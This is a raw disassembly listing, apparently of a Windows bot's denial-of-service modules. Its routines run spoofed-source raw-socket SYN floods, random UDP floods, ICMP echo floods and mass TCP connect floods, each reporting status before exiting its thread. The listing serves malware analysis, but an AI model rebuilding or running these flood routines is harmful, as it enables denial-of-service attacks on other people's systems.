mov [ebp+var_2], bx
mov [ebp+Str1], ebx
call ds:dword_42713C ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call ds:dword_427138 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call __allmul
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_413846: ; CODE XREF: sub_413694+2E2j
; sub_413694+2F0j
mov [ebp+var_4], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4 ; htons
mov [ebp+var_14], ax
call _rand
mov edi, eax
shl edi, 10h
call _rand
or edi, eax
push edi
call dword_4CB9D4 ; htons
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0 ; htonl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+Src], eax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_94]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413989
add [ebp+Str1], eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_427138 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4139B2
jl loc_413846
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4139B2
jmp loc_413846
; ---------------------------------------------------------------------------
loc_413989: ; CODE XREF: sub_413694+2CBj
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_4378C4 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 10h
jmp short loc_4139B5
; ---------------------------------------------------------------------------
loc_4139B2: ; CODE XREF: sub_413694+2E0j
; sub_413694+2EEj
mov ebx, [ebp+Str1]
loc_4139B5: ; CODE XREF: sub_413694+78j
; sub_413694+31Cj
push [ebp+var_20]
call dword_4CBA6C ; closesocket
pop esi
loc_4139BF: ; CODE XREF: sub_413694+5Bj
call dword_4CB92C ; WSACleanup
mov eax, ebx
loc_4139C7: ; CODE XREF: sub_413694+3Bj
pop edi
pop ebx
leave
retn
sub_413694 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4139CB(int,char *Str,char *Str1,int)
sub_4139CB proc near ; CODE XREF: sub_4135DF+4Fp
arg_0 = dword ptr 4
Str = dword ptr 8
Str1 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+Str] ; Str
mov esi, eax
call _atoi
push [esp+14h+arg_C] ; Str
mov ebx, eax
call _atoi
mov edi, eax
call _rand
cdq
mov ecx, 200h
push edi ; int
idiv ecx
push ebx ; int
push [esp+20h+Str1] ; Str1
lea eax, [edx+esi+100h]
push eax ; int
push esi ; int
call sub_413694
add esp, 20h
test eax, eax
jnz short loc_413A1A
push 1
pop eax
loc_413A1A: ; CODE XREF: sub_4139CB+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4139CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413A29 proc near ; DATA XREF: sub_401ACD+6643o
Dest = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
Str = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_413AC4
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_4379C4 ; "-"
push eax ; Dest
call _sprintf
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413AA7
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409869
add esp, 14h
loc_413AA7: ; CODE XREF: sub_413A29+5Cj
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_413AC4: ; CODE XREF: sub_413A29+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_413B3B
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_437994 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413B1E
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409869
add esp, 14h
loc_413B1E: ; CODE XREF: sub_413A29+D3j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_413B3B: ; CODE XREF: sub_413A29+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_413BA2
lea eax, [ebp+Dest]
push offset asc_437974 ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_413B85
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409869
add esp, 14h
loc_413B85: ; CODE XREF: sub_413A29+13Aj
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_413BA2: ; CODE XREF: sub_413A29+122j
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push edi
call dword_4CB9D4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_4CBA14 ; inet_addr
mov esi, ds:dword_4270B0
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
loc_413BE0: ; CODE XREF: sub_413A29+2E8j
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_413D8B
push 41Ch
mov byte_4CE740, 45h
call dword_4CB9D4 ; htons
cmp [ebp+var_2C], edi
mov word_4CE742, ax
mov word_4CE744, bx
mov word_4CE746, di
mov byte_4CE748, 80h
mov byte_4CE749, bl
mov word_4CE74A, di
jz short loc_413C66
call _rand
mov ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
push 1
mov dword_4CE74C, ebx
pop ebx
jmp short loc_413C7E
; ---------------------------------------------------------------------------
loc_413C66: ; CODE XREF: sub_413A29+20Bj
push [ebp+var_1BC]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
mov dword_4CE74C, eax
loc_413C7E: ; CODE XREF: sub_413A29+23Bj
mov eax, [ebp+var_18]
mov dword_4CE750, eax
call _rand
cdq
mov ecx, 100h
idiv ecx
mov byte_4CE754, dl
call _rand
cdq
mov ecx, 100h
idiv ecx
mov byte_4CE755, dl
call _rand
cdq
mov ecx, 0F0h
push 400h ; Size
idiv ecx
mov word_4CE756, di
mov word_4CE75A, bx
inc edx
mov word_4CE758, dx
call _rand
cdq
mov ecx, 0FFh
idiv ecx
push edx ; Val
push offset dword_4CE75C ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push 10h
push eax
push edi
push 41Ch
push offset byte_4CE740
push [ebp+var_4]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413D16
inc [ebp+arg_0]
jmp loc_413BE0
; ---------------------------------------------------------------------------
loc_413D16: ; CODE XREF: sub_413A29+2E3j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset asc_43792C ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_413D6E
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409869
add esp, 14h
loc_413D6E: ; CODE XREF: sub_413A29+323j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_413D8B: ; CODE XREF: sub_413A29+1C8j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+Dest]
push offset asc_4378E0 ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_413DF3
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409869
add esp, 14h
loc_413DF3: ; CODE XREF: sub_413A29+3A8j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
sub_413A29 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E10 proc near ; DATA XREF: sub_401ACD+542Do
var_10320 = byte ptr -10320h
Dest = byte ptr -344h
var_144 = dword ptr -144h
Str = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Dst = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_4CB95C ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_4CBA14 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_413E6B
lea eax, [ebp+var_C0]
push eax
call dword_4CBA58 ; gethostbyname
cmp eax, ebx
jz short loc_413E71
loc_413E6B: ; CODE XREF: sub_413E10+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_413ECE
loc_413E71: ; CODE XREF: sub_413E10+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dest]
push offset asc_437A1C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413EB1
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_144] ; int
call sub_409869
add esp, 14h
loc_413EB1: ; CODE XREF: sub_413E10+7Fj
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_413ECE: ; CODE XREF: sub_413E10+5Fj
cmp eax, ebx
jz short loc_413EDE
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_413EE1
; ---------------------------------------------------------------------------
loc_413EDE: ; CODE XREF: sub_413E10+C0j
mov [ebp+var_4], esi
loc_413EE1: ; CODE XREF: sub_413E10+CCj
push 1Ch ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_413F01
mov [ebp+var_3C], eax
loc_413F01: ; CODE XREF: sub_413E10+ECj
cmp [ebp+var_38], edi
jge short loc_413F09
mov [ebp+var_38], edi
loc_413F09: ; CODE XREF: sub_413E10+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_413F36
loc_413F10: ; CODE XREF: sub_413E10+124j
push [ebp+var_38]
lea eax, [ebp+Dst]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_4CB8EC ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_413F10
loc_413F36: ; CODE XREF: sub_413E10+FEj
push [ebp+arg_0]
call dword_4CBA8C ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dest]
push offset asc_4379F0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413F7F
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_144] ; int
call sub_409869
add esp, 14h
loc_413F7F: ; CODE XREF: sub_413E10+14Dj
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
sub_413E10 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F9C proc near ; DATA XREF: sub_401ACD+5679o
var_10311 = byte ptr -10311h
var_10310 = byte ptr -10310h
Dest = byte ptr -334h
var_134 = dword ptr -134h
Str = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
push 11h
push 2
push 2
call dword_4CBA54 ; socket
mov ebx, eax
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+Dst], 2
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_414081
lea eax, [ebp+var_B0]
push eax
call dword_4CBA58 ; gethostbyname
cmp eax, edi
jnz short loc_41407A
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+Dest]
push offset asc_437A70 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_41405D
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_1C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_134] ; int
call sub_409869
add esp, 14h
loc_41405D: ; CODE XREF: sub_413F9C+9Fj
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_20]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_41407A: ; CODE XREF: sub_413F9C+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_414084
; ---------------------------------------------------------------------------
loc_414081: ; CODE XREF: sub_413F9C+6Ej
lea eax, [ebp+arg_0]
loc_414084: ; CODE XREF: sub_413F9C+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_41409F
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_4140A2
; ---------------------------------------------------------------------------
loc_41409F: ; CODE XREF: sub_413F9C+F0j
push [ebp+var_24]
loc_4140A2: ; CODE XREF: sub_413F9C+101j
call dword_4CB9D4 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_4140B4
mov [ebp+var_24], esi
loc_4140B4: ; CODE XREF: sub_413F9C+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_4140C1
mov [ebp+var_24], eax
loc_4140C1: ; CODE XREF: sub_413F9C+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_4140D5
mov [ebp+var_28], esi
loc_4140D5: ; CODE XREF: sub_413F9C+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_4140F6
loc_4140DC: ; CODE XREF: sub_413F9C+158j
call _rand
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi+var_10311], dl
jl short loc_4140DC
loc_4140F6: ; CODE XREF: sub_413F9C+13Ej
; sub_413F9C+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_414155
push 0Bh
pop esi
loc_414103: ; CODE XREF: sub_413F9C+197j
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_4CBA38 ; sendto
push [ebp+var_28]
call ds:dword_427080 ; Sleep
dec esi
jnz short loc_414103
cmp [ebp+var_24], edi
jnz short loc_4140F6
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_4CB9D4 ; htons
mov [ebp+var_E], ax
jmp short loc_4140F6
; ---------------------------------------------------------------------------
loc_414155: ; CODE XREF: sub_413F9C+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+Dest]
push offset asc_437A44 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_414195
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_1C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_134] ; int
call sub_409869
add esp, 14h
loc_414195: ; CODE XREF: sub_413F9C+1D7j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_20]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
sub_413F9C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4141B2 proc near ; DATA XREF: sub_401ACD+4CC4o
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_190 = byte ptr -190h
var_110 = dword ptr -110h
Str = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax ; int
lea eax, [ebp+var_190]
push eax ; Str
lea eax, [ebp+var_210]
push eax ; int
call sub_414313
add esp, 0Ch
push eax
lea eax, [ebp+Dest]
push offset asc_437A98 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414232
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_409869
add esp, 14h
loc_414232: ; CODE XREF: sub_4141B2+5Ej
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4141B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414251 proc near ; CODE XREF: sub_414313+27p
var_654 = byte ptr -654h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_4]
call dword_4CB9D4 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_41430F
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_41429C: ; CODE XREF: sub_414251+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142A4: ; CODE XREF: sub_414251+7Aj
push 0
push 1
push 2
call ds:dword_427204 ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4142C7
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call ds:dword_4271E0 ; ioctlsocket
loc_4142C7: ; CODE XREF: sub_414251+64j
add esi, 4
dec ebx
jnz short loc_4142A4
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142D5: ; CODE XREF: sub_414251+96j
lea eax, [ebp+Dst]
push 10h
push eax
push dword ptr [esi]
call ds:dword_4271F8 ; connect
add esi, 4
dec ebx
jnz short loc_4142D5
push 64h
call ds:dword_427080 ; Sleep
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142F9: ; CODE XREF: sub_414251+B4j
push dword ptr [esi]
call ds:dword_427200 ; closesocket
add esi, 4
dec ebx
jnz short loc_4142F9
dec [ebp+arg_4]
jnz short loc_41429C
pop edi
pop esi
pop ebx
loc_41430F: ; CODE XREF: sub_414251+3Ej
xor eax, eax
leave
retn
sub_414251 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_414313(int,char *Str,int)
sub_414313 proc near ; CODE XREF: sub_4141B2+3Cp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+Str] ; Str
mov edi, eax
call _atoi
push [esp+14h+arg_8] ; Str
mov ebx, eax
call _atoi
mov esi, eax
push esi
push ebx
push edi
call sub_414251
add esp, 18h
test eax, eax
jnz short loc_414349
push 1
pop eax
loc_414349: ; CODE XREF: sub_414313+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_414313 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414358 proc near ; DATA XREF: sub_401ACD+636Bo
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_190 = byte ptr -190h
var_110 = dword ptr -110h
Str = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax ; int
lea eax, [ebp+var_190]
push eax ; Str
lea eax, [ebp+var_210]
push eax ; int
call sub_4146A9
add esp, 0Ch
push eax
lea eax, [ebp+Dest]
push offset asc_437AC4 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4143D8
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_409869
add esp, 14h
loc_4143D8: ; CODE XREF: sub_414358+5Ej
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_414358 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143F7 proc near ; CODE XREF: sub_4146A9+3Cp
var_284 = byte ptr -284h
Dest = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
Src = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
Dst = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944 ; WSAStartup
test eax, eax
jz short loc_414437
xor eax, eax
jmp loc_4146A5
; ---------------------------------------------------------------------------
loc_414437: ; CODE XREF: sub_4143F7+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_41469D
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_414693
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_8]
call dword_4CB9D4 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CB9D4 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CB9D4 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CB9D4 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
